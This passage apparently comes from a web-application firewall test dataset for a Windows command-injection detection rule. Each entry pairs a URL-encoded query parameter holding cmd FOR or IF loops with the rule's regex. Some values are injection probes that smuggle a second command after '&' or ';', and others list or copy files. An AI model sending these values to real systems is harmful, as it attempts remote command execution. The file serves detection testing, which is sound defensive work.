"foo=FOR+%2FL+%25%25G+IN+%281%2C1%2C5%29+DO+echo+%25%25G" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%25G+IN+%28Sun+Mon+Tue+Wed+Thur+Fri+Sat%29+DO+echo+%25G" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%25%25G+IN+%28Sun+Mon+Tue+Wed+Thur+Fri+Sat%29+DO+echo+%25%25G" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=for+%2Ff+%22tokens%3D%2A%22+%25G+in+%28%27dir+%2Fb+%2Fs+%2Fa%3Ad+%22C%3A%5CWork%5Creports%2A%22%27%29+do+echo+Found+%25G" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=for+%2Ff+%22tokens%3D%2A%22+%25%25G+in+%28%27dir+%2Fb+%2Fs+%2Fa%3Ad+%22C%3A%5CWork%5Creports%2A%22%27%29+do+echo+Found+%25%25G" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FD+%2Fr+%25G+in+%28%22User%2A%22%29+DO+Echo+We+found+%25G" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FF+%22tokens%3D1%2C3+delims%3D%2C%22+%25%25G+IN+%28weather.txt%29+DO+%40echo+%25%25G+%25%25H" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FF+%22tokens%3D4+delims%3D%2C%22+%25%25G+IN+%28%22deposit%2C%244500%2C123.4%2C12-AUG-09%22%29+DO+%40echo+Date+paid+%25%25G" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FF+%25G+IN+%28%27%22C%3A%5Cprogram+Files%5Ccommand.exe%22%27%29+DO+ECHO+%25G" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FF+%25%25G+IN+%28%27%22C%3A%5Cprogram+Files%5Ccommand.exe%22%27%29+DO+ECHO+%25%25G" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FF+%22tokens%3D1%2C2%2A+delims%3D%2C%22+%25%25+IN+%28C%3A%5CMyDocu%7E1%5Cmytex%7E1.txt%29+DO+ECHO+%25%25" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FF+%22tokens%3D1%2C2%2A+delims%3D%2C%22+%25%25G+IN+%28C%3A%5CMyDocu%7E1%5Cmytex%7E1.txt%29+DO+ECHO+%25%25G" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FF+%22usebackq+tokens%3D1%2C2%2A+delims%3D%2C%22+%25G+IN+%28%22C%3A%5CMy+Documents%5Cmy+textfile.txt%22%29+DO+ECHO+%25G" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FF+%22usebackq+tokens%3D1%2C2%2A+delims%3D%2C%22+%25%25G+IN+%28%22C%3A%5CMy+Documents%5Cmy+textfile.txt%22%29+DO+ECHO+%25%25G" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%26+for+%2Ff+%5C%22delims%3D%5C%22+%25i+in+%28%27cmd+%2Fc+%5C%22set+%2Fa+%2863%2B21%29%5C%22%27%29+do+%40set+%2Fp+%3D+PDVQIS%25iPDVQISPDVQIS%3C+nul" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%3Bfor+%2Ff+%5C%22delims%3D%5C%22+%25i+in+%28%27cmd+%2Fc+%5C%22set+%2Fa+%2835%2B66%29%5C%22%27%29+do+%40set+%2Fp+%3D+LZEUZE%25iLZEUZELZEUZE%3C+nul%27" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=for+%2Ff+%22tokens%3D%2A+delims%3D0%22+%25%25A+in+%28%22%25n1%25%22%29+do+set+%22n1%3D%25%25A%22" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=for+%25i+in+%28%2A%29+do+set+LIST%3D+%25i" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=for+%25i+in+%28%2A%29+do+set+LIST%3D%21LIST%21+%25i" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=for+%2Fl+%25%25I+in+%280%2C1%2C5%29+do+call+echo+%25%25RANDOM%25%25" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=for+%25%25d+in+%28A%2CC%2CD%29+do+DIR+%25%25d+%2A.%2A" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=for+%25%25f+in+%28%2A.TXT+%2A.BAT+%2A.DOC%29+do+TYPE+%25%25f" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=for+%25%25P+in+%28%25PATH%25%29+do+if+exist+%25%25P%5C%2A.BAT+COPY+%25%25P%5C%2A.BAT+C%3A%5CBAT" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++EXIST+filename.txt+++++%28" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++EXIST+filename+++++++++CMD" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++EXIST+filename+++++++++%28CMD%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++EXIST+data.xls+++++++++Echo+The+file+was+found." } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++EXIST+MyFile.txt+++++++%28ECHO+Some%5Bmore%5DPotatoes%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", 